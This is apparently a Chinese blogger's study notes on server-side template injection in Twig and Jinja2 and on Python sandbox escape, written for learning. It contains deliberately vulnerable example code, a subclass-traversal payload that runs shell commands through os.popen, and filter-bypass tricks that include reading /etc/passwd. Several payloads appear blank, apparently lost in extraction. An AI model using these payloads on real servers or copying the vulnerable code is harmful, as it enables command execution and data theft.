SSTI

学习学习

Posted by lll-yz on April 30, 2021

原理

服务端模板注入是由于服务端接收了用户的输入,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户存入的恶意内容,因而导致了敏感信息泄露、代码执行、getshell等问题。

主要为python的一些框架:jinja2, mako, tornado, django; PHP框架:smarty twig; Java框架:jade, velocity等等使用渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入。

WeLhQO.png

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

简单的例子来简析模板渲染:

<html>
<div>{$what}</div>
</html>

我们想要呈现在每个用户前面自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户:

<html>
<div>张三</div>
</html>

服务端模板注入

通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登录的时候可能会返回hi, 张三。这个时候张三可能就是通过你的身份信息而渲染成HTML返回到页面。

PHP实例
  • first one(没有问题)
<php
	require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
	Twig_Autoloader::register(true);
	$twig = new Twig_Environment(new Twig_Loader_String());
	$output = $twig->render("Hello ", array("name" => $_GET["name"]));
	echo $output;
?>

Twig使用一个加载器Twig_Loader_String来定位模板,和一个环境Twig_Environment来存储配置信息。render方法通过传递过来的第一个参数来加载模板,通过传递过来的第二个参数(也就是变量)来渲染它。

当然Twig内置有自动加载器:

  require_once 'twig/lib/Twig/Autoloader.php';
  Twig_Autoloader::register();

我们这个代码是没有什么问题的,用户输入的时候渲染的就是name的值,由于name外面已经有了````,所以,显示的时候只是name变量的值,不会将我们输入的内容作为模板变量解析,而是原样输出。 好晕啊!!! 哦哦懂了,解析的是name的值。若直接则是解析输入的内容,这样就会造成SSTI漏洞。

  • two(有问题)
<?php
	require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
	Twig_Autoloader::register(true);
	
	$twig = new Twig_Environment(new Twig_Loader_String());
	$output = $twig->render("Hello {$_GET['name']}");	//将用户输入作为模板内容的一部分
	echo $output;
?>

这样的话,用户输入的内容就直接放在了要渲染的字符串中了,会被解析构成危害。

注意:不要把这里的 {} 当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量。

python实例
  • first one (Flask(Jinja2)服务端模板注入)
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello" + name)
    return t.render()

if __name__ == "__main__":
    app.run()

这里需要安装flask模块:

在Termina终端l下输入:
pip3 install flask

然后就可以成功执行:

* Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [02/May/2021 17:26:31] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [02/May/2021 17:26:31] "GET /favicon.ico HTTP/1.1" 404 -

访问http://127.0.0.1:5000/即可

route装饰器路由

@app.route('/')

使用route()装饰器告诉Flask什么样的URL能触发我们的函数。route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如:

@app.route('/')
def test():
	return 123

访问http://127.0.0.1:5000/则会输出123,我们修改一下规则:

@app.route('/test')
def test():
	return 123

这个时候需要访问http://127.0.0.1:5000/test,才会输出123。

还可以设置动态网址:

@app.route("/hello/<username>")
def hello_user(username):
	return ("user:%s" % username)

……

main入口

当.py文件被直接运行的时候,if __name__ == "__main__" 之下的代码块将被运行;当.py文件以模块形式被导入时,if __name__ == "__main__"之下的代码块不被运行。

如果你经常以cmd方式运行自己写的python脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开放,写 if __name__ = "__main__"将会是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似文件包含来使用。

讲解就先到这里,接下来我们开始注入这个含有ssti漏洞的页面:

首先我们正常访问它:

ge9KgI.png

传入参数:?name=,可以看到内容被解析了:

ge9GVS.png

python执行系统命令

在python里要执行系统命令需要 import os 模块。想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册。

#在上述代码中加入
t.globals['os'] = os

我们想要在未注册OS模块的情况下调用popen()函数执行系统命令,就要用到各种下划线函数了:

[].__class__	#用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
[].__class__.__base__	#用来查看类的基类,也可是使用数组索引来查看待定位置的值
[].__class__.__base__.__subclasses__()	#查看当前类的子类。直接用object.subclasses(),也是一样的结果。

geVS6H.md.png

由此可以访问到很多其他模块,os模块自然也可以这样访问到。

访问os模块需要从warnings.catch_warnings模块入手。让我们看看catch_warnings在哪个位置:

>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

geVZ9S.png

当我们获取了位置后,再用__globals__看看该模块有哪些global函数:

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys()

geZ5L9.png

emmm,这里的箭头不用管,这个找不到os模块,这里我们找sys函数中找os模块:

>>> [].__class__.__base__.__subclasses__()[145].__init__.__globals__['sys'].__dict__

#找到os模块
'os': <module 'os' from 'D:\\python\\lib\\os.py'>

使用os模块…..

这里我找到了os模块但是调用的时候,显示没有这个模块,emmm,无法进行了。先跳过先跳过。

这里换一种方式:

"".__class__
"".__class__.__bases__
"".__class__.___mro__	//mro给出了method resolution order,即解析方法调用顺序
"".__class__.__base__[0].__subclasses__()	//上面说过

在开始找到我们需要找到的合适的类,然后从合适的类中寻找我们需要的方法。可利用的类,这里举例一种(既然上面的方法找不到,那就换一种),<class 'os._wrap_close'>,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可以利用的方法。看看它是第几个类(注意起始点为0),找到后为第134个。

gn2s78.md.png

然后我们可以利用.__init__初始化,.__globals__来找os类下的方法及变量及参数。

?name=

然后可以得到各种参数方法函数。我们找到其中一个可利用的function popen,在python2中可以找到file读取文件,很多可利用方法,详情可以继续百度。

?name=

gn26AS.md.png

此时,我们可以看到命令已经被执行了。如果是Linux系统则可以执行其他命令。此时我们已经成功得到权限。

获取eval()函数并执行任意python代码的POC如下:


python沙箱逃逸

python绕过沙盒中常见的函数、属性、模块解释

__globals__

返回包含函数全局变量的字典的引用————定义函数的模块的全局命名空间。

__getattribute__

被调用无条件地实现类的实例的属性访问。

什么是python的沙箱逃逸

所谓的沙箱逃逸就是从一个被被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell,这是我们的最终目的,但是实现这个目标之前我们必须解决的就是如何绕过重重的waf去使用python执行命令。

python能执行命令或者存在执行命令功能的函数是一定的,但是它的存在形式是多样的,它过滤了这种形式我们就换一种形式表示,正所谓曲线救国(手动狗头)。

攻与防

防:我们想要直接引入命令的os模块等,若遭遇过滤:

re.compile('import\s+(os|commands|subprocess|sys)')

攻:那就用__import__()取而代之。

防:若__import__(module)被过滤。

攻:那就转换编码:__import__("pbzznaqf".decode('rot_13'))

防:若__import__被过滤。

攻:那就不用__import__了,我们有内建函数直接调用__bulitin__/__bulitins__

常见的一些危险函数都是__bulitin__里的,我们可以直接用eval(), exec(), execfile()。

防:那么把__bulitin__中危险的函数都给你过滤掉呢?

攻:reload()函数重新加载完整的没有阉割的__builtin__:reload(__builtin__)

防:那就把reload()也过滤了。(reload()也是一个内建函数,我们把__builtin__中的热老大的()过滤了)

攻:imp 模块也是一个可以引入东西的一个模块。

import imp
imp.reload(__builtin__)

再次成功引入。

防:从源头解决问题,我们知道python的模块其实都存放在sys.modules中,不要什么就删什么:

sys.modules['os'] = None

好了,这下看你们怎么办。

攻:确实难搞啊,让我们从import开始分析:

import步骤:

1.如果是import A,检查sys.modules中是否已经有A,如果有则不加载,如果没有则为A创建module对象,并加载A。

2.如果是from A import B,先为A创建module对象,在解析A,从中寻找B并填充到A的dict中。

那我们可以向更源头追溯,我们都知道任何的模块归根到底都是文件,只要文件还在,我们就可以找到方法。

比如类unix的系统中,os模块的路径一般都是/usr/lib/python2.7/os.py,那我们就直接写这个:

import sys

sys.modules['os'] = '/usr/lib/python2.7/os.py'

import os

防:我把sys也给你禁了,让你绕!

攻:一样的思路,用其他函数引用文件:

execfile('/usr/lib/python2.7/os.py')

system('cat /etc/passwd')

防:过滤过滤,把execfile()过滤了。

攻:用文件读取函数读入文件,再用exec()同样可以。

防:直接删文件。

攻:这样的话,我就想起了,没有编译器手写编译器的梗,这里完全可以用嘛。。。。 但是这样鲁莽地删除关键函数文件是很危险的,很容易出现莫名的依赖问题,不推荐使用。

一些绕过小tips

  • 过滤[]等括号

使用gititem()绕过。如原poc:,绕过后为:

  • 过滤了subclasses,拼凑法。

原poc:,绕过后为:

  • 过滤class,使用session

绕过后的poc:````。多个__basees__[0]是因为一直在向上找object类。使用mro就会方便很多:


或者


其他poc:

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')


模板注入payload

  • Twig模块

判断方法:输入````返回49表示为 Twig 模块,我们使用payload:


  • Jinja2模块

判断方法:输入````返回7777777表示为 Jinja2 模块,我们使用payload:


参考文章:—–>micr067

​ —–>小猪佩琪

​ —–>SSTI漏洞